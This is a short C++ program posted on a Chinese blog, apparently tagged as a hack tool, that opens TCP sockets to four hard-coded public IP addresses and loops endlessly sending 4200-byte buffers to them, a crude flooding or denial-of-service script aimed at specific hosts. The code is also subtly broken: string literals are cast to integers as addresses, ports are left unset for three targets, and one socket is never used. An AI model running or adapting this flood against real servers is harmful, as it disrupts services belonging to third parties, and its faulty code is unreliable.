// UDPER.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
using namespace std;
#include<stdlib.h>
#pragma comment(lib,"WS2_32.lib")
#include <iostream>
#include <Windows.h>
SOCKET g_socket;
SOCKET g_socket2;
SOCKET g_socket3;
SOCKET g_socket4;
WSADATA wsd;
SOCKADDR_IN servAddr;//服务器地址
SOCKADDR_IN servAddr2;//服务器地址
SOCKADDR_IN servAddr3;//服务器地址
SOCKADDR_IN servAddr4;//服务器地址
int retVal;//调用Socket函数的返回值
char buf[4200];
int main()
{
//初始化Socket环境
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {
printf("WSAStartup failed!\n");
return 1;
}
//创建监听的Socket
g_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == g_socket)
{
printf("socket failed!\n");
}
g_socket2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == g_socket2)
{
printf("socket failed!\n");
}
g_socket3 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == g_socket3)
{
printf("socket failed!\n");
}
g_socket4 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == g_socket4)
{
printf("socket failed!\n");
}
//设置服务器Socket地址
servAddr.sin_family = AF_INET;
servAddr.sin_addr.S_un.S_addr = (ULONG)"103.84.110.229";
servAddr2.sin_family = AF_INET;
servAddr2.sin_addr.S_un.S_addr = (ULONG)"103.198.203.152";
servAddr3.sin_family = AF_INET;
servAddr3.sin_addr.S_un.S_addr = (ULONG)"180.111.196.17";
servAddr4.sin_family = AF_INET;
servAddr4.sin_addr.S_un.S_addr = (ULONG)"42.202.165.153";
// 103.84.110.229
// 103.198.203.152
// 180.111.196.17
//servAddr.sin_addr.S_un.S_addr = (ULONG)"58.217.250.17";
//在实际应用中,建议将服务器的IP地址和端口号保存在配置文件中
servAddr.sin_port = htons(80);
//计算地址的长度
//int sServerAddlen = sizeof(servAddr);
//链接服务器
retVal = connect(g_socket, (LPSOCKADDR)&servAddr, sizeof(servAddr));
if (retVal != 0)
{
printf("OK in");
}
retVal = connect(g_socket2, (LPSOCKADDR)&servAddr2, sizeof(servAddr2));
if (retVal != 0)
{
printf("OK in");
}
retVal = connect(g_socket3, (LPSOCKADDR)&servAddr3, sizeof(servAddr3));
if (retVal != 0)
{
printf("OK in");
}
retVal = connect(g_socket4, (LPSOCKADDR)&servAddr4, sizeof(servAddr4));
if (retVal != 0)
{
printf("OK in");
}
apple:
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4000, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4000, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4000, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4000, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4000, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4000, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4000, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4000, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4000, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4000, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket, buf, 4200, 0);
send(g_socket2, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
send(g_socket3, buf, 4200, 0);
Sleep(1);
goto apple;
}
标签:外挂,socket,socket2,端口,send,TCP,4200,buf,socket3 From: https://www.cnblogs.com/wscccc/p/18106153